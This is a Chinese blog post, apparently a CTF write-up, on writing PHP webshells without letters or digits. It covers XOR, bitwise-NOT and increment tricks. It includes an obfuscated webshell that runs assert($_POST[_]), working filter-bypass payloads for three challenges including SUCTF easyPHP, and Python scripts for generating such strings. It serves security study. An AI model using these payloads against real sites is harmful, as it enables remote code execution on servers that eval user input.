PHP中无字母数字的webshell绕过方法

背景

在做SUCTF和极客大挑战时都遇到了这样的题型,觉得这个点比较重要也比较有意思,所以单独拿出来开了篇帖子记录。

前置知识

PHP中的一些特性

参考:https://x5tar.com/2020/05/03/php-webshell-without-alpha-and-num/

PHP中的异或

示例:

<?php
echo "A"^"`";
?>

运行结果:!

这是代码对字符”A”和字符”`”进行了异或操作,输出的结果为字符”!”。

在PHP中两个变量进行异或时,会先将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。

PHP中的取反

在异或被过滤时,可以考虑用取反。

取反即 PHP 中的运算符 ~

~$a Not(按位取反) 将 $a 中为 0 的位设为 1,反之亦然

字符串取反后仍是字符串

取反脚本:

#!/bin/python3
s = 'assert'
print("~'", end='')
for i in s:
i1 = hex(15 - int(hex(ord(i))[-2],16))[-1].upper()
i2 = hex(15 - int(hex(ord(i))[-1],16))[-1].upper()
print('%' + i1 + i2, end='')
print("'")

执行结果为: ~'%9E%8C%8C%9A%8D%8B'

字符递增

'a'++ => 'b','b'++ => 'c'.

因此可以通过递增来获得a-z中的所有字符。

但前提是我们得获得到递增的第一个字母”a”,这就要用到PHP里的一个特性:

1.在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array。

例如:

2.在试图将数组转换成字符串时会获得字符串 “Array”

<?php
$a = [];
$b = "$a";
echo $b;

运行结果:

再取这个字符串的第一个字母,就可以获得’A’了。

利用这个技巧,p神编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a):

<?php
$_ = [];
$__ = "$_"; // Array
$___ = $__['@' == '#']; // A
$_ = $___; // A
$___++;$___++;$___++;$___++;
$____ = $___; // E
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$_____ = $___; // O
$___++;
$______ = $___; // P
$___++;$___++;
$_______ = $___; // R
$___++;
$________ = $___; // S
$___++;
$_________ = $___; // T
$_ = $_.$________.$________.$____.$_______.$_________; // ASSERT
$__ = '_'.$______.$_____.$________.$_________; //POST
$___ = $$__;
$_($___[_]); // assert($_POST[_])

实例一

不用数字和字母写shell的实例

题目代码:

<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

可以看出有以下几个要求:

  • code的长度不能大于40

  • code中不能有[A-Za-z0-9]

因此我们可以利用 PHP允许动态函数执行的特点,拼接出一个函数名getFlag(),然后动态执行即可。

比较简单,因为没有过滤除了字母数字的其他字符。

因此就拿脚本构造一下就好了。

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

由于字符长度限制,表示成以下形式:

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

^会对两边对应的字符串进行异或。

重点:由于eval只能解析一遍代码,所以如果写的是a.b这样的字符串拼接,就只会执行这个拼接,并不会去执行代码。

因此,这里利用了${}中的代码是可以执行的特点,其实也就是可变变量。所以如上的payload会那样构造。

实例二

不用数字、字母和下划线写shell的实例

<?php

function getflag()
{
echo "12345";
}//只是试验一下,这样比较清晰。

if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
?>

取反

可以利用取反直接构造$_GET[](),然后传入参数为getflag即可。

构造后为~%A0%B8%BA%AB,即?code=${~"%A0%B8%BA%AB"}[]()

最终url编码后为

?code=%24%7b%7e%22%A0%B8%BA%AB%22%7d%5b%aa%5d()%3B&%aa=getflag

在php5和php7中都可。

还可以直接

?code=(~%98%9A%8B%99%93%9E%98)();

即为getflag();

异或

啊这次终于复现成功了 哭了

方法一

可以用

${"%1f%1b%1b%28"^"%40%5c%5e%7c"}['+'];&+=getflag

url编码后:

%24%7b%22%1f%1b%1b%28%22%5e%22%40%5c%5e%7c%22%7d%5b%27%2b%27%5d();&%2b=getFlag

也就是把+设为参数名,也可以用其他的不可见字符。

方法二

也可以用汉字作为参数名,例如:

$哈=getflag;$哈();

这里可以先用异或得到getflag:

从跑出来的脚本中随便选一个:

?code=$哈=(%27%1b%1b%28%1b%2c%1c%1b%27^%27%7c%7e%5c%7d%40%7d%7c%27);$哈();

实例三

来自SUCTF-easyPHP

<?php
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>

代码审计

首先以上代码有三点需要绕过,先解释这三个函数:

  • strlen(),要求获取参数的值不能超过18个字符。
  • preg_match(),正则匹配过滤了很多字符。可以用以上讲到的方法绕过。
  • count_chars(),如下:

string为需要统计的字符串;

mode为模式,参见一下:

题目中采用的是第3种模式,也就是返回使用过了的不同的字符。

再之后有一个strlen($character_type)>12的判断,也就是不重复使用的字符不能超过12。

因此在构造的时候是要有技巧的。

在解题步骤中将一一解释绕过方法。

解题

绕过strlen()

这道题过滤了~,就要考虑使用异或构造了。

首先传入的值长度不能超过18,因此我们可以使用最短的全局变量:$_GET,然后使用形式跟上面提到的一样。

也就是${xxxx^xxxx}{x}();&x=

这样就成功的使传入变量长度不超过18了。

构造符合条件的异或

首先我们在本地fuzz一下通过的字符有哪些:

<?php

for ($ascii = 0; $ascii < 256; $ascii++) {

if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) {
echo chr($ascii);
}
}
?>

然后将可用字符的ascii码列出来便于构造异或使用。

h = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30,
31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94, 96,
123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145,
146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168,
169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191,
192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214,
215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237,
238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, ]

_ = []
G = []
E = []
T = []

for i in h[27:]: #截取a列表27后面的数据,我们需要不可视字符
for j in h[27:]:
tem = (i ^ j)
if chr(tem) == "_":
_.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:]))
if chr(tem) == "G":
G.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:]))
if chr(tem) == "E":
temp = []
E.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:]))
if chr(tem) == "T":
T.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:]))

print(_)
print(G)
print(E)
print(T)

然后就跑出了一系列符合条件的结果。

绕过count_chars()限制

由于我们传入的参数中最多出现的不重复字符不能超过12个,但我们一开始构造的${xxxx^xxxx}{x}();除去中间的异或字符已经有7个不重复字符了,因此在选择异或结果时就要避开那些非重复字符多的。

例如可以构造以下payload:

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

okk惹,通过以上几个例子我觉得应该比较清晰了8.

Author: Neorah
Link: https://neorah.me/web/php%E6%AD%A3%E5%88%99/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.